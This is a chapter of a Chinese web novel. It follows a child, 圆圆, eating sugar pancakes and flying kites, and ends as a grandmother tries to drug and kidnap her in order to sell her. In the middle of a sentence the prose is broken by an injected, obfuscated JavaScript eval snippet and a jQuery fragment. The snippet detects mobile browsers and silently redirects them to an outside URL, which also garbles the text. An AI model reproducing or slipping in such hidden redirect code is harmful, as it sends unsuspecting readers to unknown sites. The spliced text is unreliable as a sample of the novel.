17.诱拐
作品:《圆圆小食记》 圆圆在厨房。
今早难得秦老爹有闲心,破天荒地在厨房里做起了朝食。
妙姐儿把圆圆摇起来,拉她一起到厨房去看。
今日的朝食是糖粥和糖煎饼。
糖粥没什么看头,也就是用泡了一晚上的糯米和梗米熬成一碗浓稠的白粥,煮得软烂去了豆壳的和红糖同熬的甜豆沙在吃时淋在粥面上,再撒点干桂花增香。
妙姐儿爱甜,尤其爱这糖煎饼,刚出锅的时候是最香甜好吃的。
圆圆打着哈欠,头一点一点的,差点把脸掉进碗里去。
妙姐儿及时捧住了她的脸,才让她没有糊上一脸的豆沙。
圆圆懵懵地睁开眼:“呀,我怎么会在这里。”
妙姐儿说:“醒醒,我们要看煎糖煎饼。”
圆圆又打了个哈欠,眨眨眼睛:“糖煎饼在哪里呀,为什么要看着它呢。”
妙姐儿说:“因为刚从锅里出来的最好吃,凉了就一点儿都不好吃了。”
秦老爹在灶台边,用擀面杖碾着去了皮的炒松子和炒香的芝麻,拌上红糖当作馅料。
锦哥儿吃了糖粥,站在小板凳上面帮忙揉糯米面团,也真是怪了,这糯米面没熟的时候一点儿都不粘手,熟了以后粘手就甩不脱。
圆圆和妙姐儿吃完了粥,也来帮忙了。
几只小手一起捏,把一团糯米面捏得乱七八糟的,直到孟老爹将馅料端过来,给他们一人喂了一口。
圆圆嚼着糖馅,满嘴都是炒松子仁和熟芝麻的香味,还能咬到一点没完全碾碎的红糖块。
秦老爹从面盆里拿出被捏得乱七八糟的面团,放在案板上随便揉搓了两下,面团便被揉成了光滑的一大团。
然后又搓成长条,切下来一个又一个的面剂子。
免得他们捣乱,秦老爹一个人发了一团面,叫他们自己玩去。
圆圆捏着面团,一会儿捏成一只老鼠,一会儿又捏成一条狗,玩得不亦乐乎。
不过只有她自己能看得出来,在别人的眼睛里,看起来只是圆点或者扁点的面团而已。
秦老爹将面皮里裹上松仁芝麻红糖馅,捏口按扁,叫锦哥儿烧火,往烧热的锅里铲进去一大块雪白的猪油。
猪油一接触到油锅,就滑溜溜地融出一道亮痕,散发出一股热油的荤香。
捏扁的饼子啪的一下甩进锅里,一连贴上好几张,一接触烧热的铁锅就发出响亮的滋滋声,糯米面皮急速膨胀,锅里散发出一股米香。
圆圆不捏面团了,站在灶台的另一边垫高了脚看。
她太矮,踮高了脚也只能露出一个脑袋,看不见深深的锅底里挂着的糖煎饼。
“我们搬椅子。”妙姐儿说。
“好哦。”圆圆跑过去,一起吭哧吭哧把长凳抬到灶台边。
“到那边去,这里不行。”秦老爹赶她们。
直接站在锅边容易一头栽进锅里,另一头不挨锅,随便她们去。
圆圆和妙姐儿又吭哧吭哧,终于可以站在长凳上看锅里的糖煎饼。
糖煎饼已经翻过一个面,被热油烙得金黄焦脆,煎过的糯米饼皮颜色变透,里面裹的松仁黑芝麻糖馅透了出来。
圆圆盯着锅里的饼,闻着甜香味儿,忍不住舔舔嘴巴。
好奇怪啊,明明刚刚才吃了甜甜的豆沙糖粥,怎么现在嘴巴又饿了呢。
秦老爹翻了几下糖煎饼,巴掌大小的饼压得薄薄的,两面焦脆,已经可以盛上来了。
做好的糖煎饼摞在一个小簸箕里,却不叫她们吃,里头包了许多的红糖做馅,在热锅里一煎都融成了糖浆,咬上一口会把嘴给烫烂。
妙姐儿急得在旁边跳:“阿爷,能吃了没,糖煎饼能吃了没,我想吃!”
圆圆不知道为什么要跳,但也学着妙姐儿的样子使劲往上蹦:“我也要吃!我也要吃!我要吃糖煎饼!”
锦哥儿大几岁,成熟稳重得多:“阿爷,我可以只吃豆沙不吃粥吗,我想要满满一碗豆沙。”
秦老爹只回答了一句:“不行。”
接着继续烙糖煎饼。
圆圆和妙姐儿等了好一会儿,小手偷偷摸了几次饼边,被烫得缩回来又偷偷摸上去。
这么来回几遍以后终于不烫手了,圆圆忙叫秦老爹:“阿爷!饼不烫了,我们可以吃了吗?”
秦老爹捡起一个撕开,里头的红糖浆如蜜一般淌开来,手碰了碰那淌下来的糖浆,才叫她们吃。
甜蜜蜜的糖煎饼可给圆圆馋坏了,赶紧从簸箕里面拿出来一个,迫不及待地咬了一大口。
糖煎饼的饼皮是脆的,咬开那层脆皮,里面就是软糯的芯,还能舔到甜丝丝的红糖浆味,再继续嚼一下,是松子碎和芝麻的香味。
“好好吃哦!”圆圆眯起眼睛,一不留神糖浆就从夹心里淌了满手。
“是吧是吧!我就说糖煎饼很好吃,要吃刚出锅的。”妙姐儿舔着嘴角的糖浆说。
“已经出锅好久好久了。”圆圆纠正说,“我们摸了好多遍才可以吃,已经过去好久好久了。”
她们啃完了一整个糖煎饼,连淌到手指上的糖浆都舔得干干净净。
圆圆的肚子已经饱了,但嘴巴还是馋,眼睛控制不住地瞄到装饼的簸箕里。
里面还有很多糖煎饼,到下午回来的时候还会剩下吗,要不要多吃一个。
她纠结起来。
没有想多久,就被抓去洗干净了爪子,该出门玩了!
孟淑娘起来得比几个小的要晚,吃了碗糖粥和两个有点发软的糖煎饼,没跟黄桂香去柳树头闲聊八卦,而是留在家里绣观音像。
在屋里太暗,坐院里又太亮,她搬了绣墩坐在屋檐下,借着日头来绣像。
脚边的针线筐里是已经配好了的几股绣线,孟淑娘已经做惯了,从其中抽出一股劈了线,穿针,在帛布上面先描了外轮廓。
绣花这活儿心得静些,不知怎么回事,今日的心里一直有股浮躁的气,总是静不下来,有些安不下心来做活。
见圆圆他们出去,不由得叮嘱道:“跑时要看路,仔细跌着,背上有汗用手绢擦,别解衣裳吃了风,地上的东西不准放嘴里,仔细沾了狗屎……”
圆圆站定应道:“知道了娘!我不会吃狗屎!”
妙姐儿脚下一个踉跄:“什么!你吃过狗屎!”
锦哥儿说:“那是叫你们不要吃狗屎。”
回应他的是妙姐儿的双拳。
孟淑娘被他们逗乐了,笑了几声,但心里那股燥气还是挥之不去。
今日风大,于是住在这条巷子里的小孩们玩放纸鸢。
圆圆还是第一次玩呢,很宝贝地将妙姐儿给她的蝴蝶纸鸢放在怀里,有点不舍得将它飞到天上去。
蝴蝶纸鸢是用竹子削的篾条绑成骨架,然后糊一层纸做的,特别容易在风大的时候被吹破。
妙姐儿已经把纸鸢放到天上去了,圆圆抬头看。
“飞得好高呀,蝴蝶也可以飞得这么高吗。”她问道。
“可以呀,你只要像我这样跑,它就会自己飞起来了。”妙姐儿答道。
圆圆点头,学着妙姐儿刚刚的样子,一只手拿起蝴蝶纸鸢,另一只手拿着线轴,往前很快地跑。
大概是还不太习惯边往后张望边跑,她跑得断断续续的,没有把风带起来,蝴蝶在她的身后耷拉着翅膀,怎么也飞不起来。
“怎么会飞不起来呀。”圆圆有点垂头丧气。
“没有风,而且你跑得太慢啦。”妙姐儿说,“我来和你一起放呀,你在前面跑,我帮你拿着蝴蝶。”
圆圆听她的,拿着线轴在前面跑,妙姐儿举着蝴蝶跟在后面,就这么迎着风磕磕绊绊的,将蝴蝶纸鸢放了起来。
蝴蝶飞得高高的,就在燕子的旁边,只要再近一点,它们就可以牵起手了。
就在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454691|201120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她们高兴地放纸鸢时,林婆子正在家,要大儿媳牛氏陪她一道去哄圆圆家来。
大儿媳牛氏是见过圆圆的,到家还说呢,那孟淑娘生的丫头模样好,眼大肤白,是个美人坯子,见过那么多丫头就没几个能比她出挑的。
林婆子没见过,要她去认人呢。
她到牙行去找过了一个叫王五的私牙子,这人卖人总能卖价高些,只是卖的地方有些见不得人,有些要钱的人家就专爱把丫头子卖到他手里。
那王五说,若那丫头子真有林婆子夸的那般貌好,那他愿出八十贯钱买下来。
八十贯钱!
林婆子听得眼都直了,那心扑通扑通的,手一直在抖。
“真、真的,那丫头片子真能卖个八十贯钱?我的个天爷啊!一个贱丫头咋恁值钱!”
王五呵呵一笑,叫她带那丫头来看看,还给她手里放了一剂迷药,若是那丫头子哭叫,就拿帕子捂了带过来。
林婆子抓紧了那药,心跳得越发厉害了。
她也没想真卖了那丫头片子,就想知道知道能卖上个什么价,那贱妇手里头有钱呢,只要她哄了那丫头片子家去,何愁榨不出钱财。
倒是这迷药可以留着,万一那丫头片子不听话,一张帕子就能捂了去。
林婆子走出牙行的时候,还忍不住回头去看那王五,心想那贱妇要是不听话,那就能白得八十贯钱了。
心里想着钱,林婆子恨不得长了翅膀能直接飞到汴河大街去,生怕银子长翅膀飞了。
牛氏只觉得她婆婆今日是不是发了羊癫疯,往日舍不得使一分银子的抠门人竟拿钱赁了车,那可真是破天荒。
不过不用两条腿走了,又不用她出钱,她也乐意的很。
坐车到了汴河大街,牛氏就见她婆婆抖着一个药包,往帕子里头揉着,也不知道那是什么,看得她怪心慌。
“这是啥呢,您得病了?”她按着心慌问道。
“没事儿,就一点头痛药粉。我头痛呢,要捂捂头。”林婆子不说实话,她怕牛氏不干跑了,那她可怎么认那丫头片子。
“哦。”牛氏半信半疑,总算没接着往下问。
到了汴河大街,林婆子催了牛氏带路,婆媳俩急急地走去那侧巷,生怕去迟了错过什么。
牛氏真是觉得今日她婆婆怪了,早晨出门那会回来就兴奋地叫人害怕,这会子又扯了她来,难道是那孟淑娘许了她什么好处?
终于到了那巷内,往里走了几步路,就听见了那些孩子的声儿。
牛氏看她婆婆,林婆子却不看她,而是从衣袋里摸出几颗饴糖,看样儿还真是要哄小孩。
“你看看,哪个是那贱丫头。”林婆子催她道。
“那穿绿衫子的,头上戴个粉色头花的,就那个。”牛氏指了给她看。
林婆子脸上挂上了和蔼可亲的笑,走上前去,亲亲热热地叫圆圆:“圆圆,你可认得我,我是你阿奶啊,你小时候我还抱过你呢。”
一伙小孩都看过来,叽叽喳喳的,他们看林婆子可一点都不眼熟。
圆圆看着林婆子,摇摇头:“我不认识你,你不是我阿奶,我有阿奶。”
林婆子还是笑着,把手里的糖递了出去:“我就是你阿奶,你娘不带你回家,不让我看你,你娘坏。快,快吃糖,吃了糖就跟我回家,跟我回家还有更多糖给你。”
圆圆还是摇头:“我不要,我不认识你,娘不坏,你走,我不要你的东西。”
妙姐儿赶她:“你这婆子听不懂人话,你走,我们不认识你,不稀罕你那几颗破糖。”
林婆子耐着性子,又哄了两句,谁知那俩丫头油盐不进,还使了个哥儿过来推她。
她本就不是个好性儿,这下是彻底被惹恼了,新仇旧恨一起上头,扯了圆圆,面目狰狞地把帕子捂上她口鼻:“贱丫头!敢跟老娘叫板!呸!给脸不要脸!我卖了你!我回头就卖了你!”

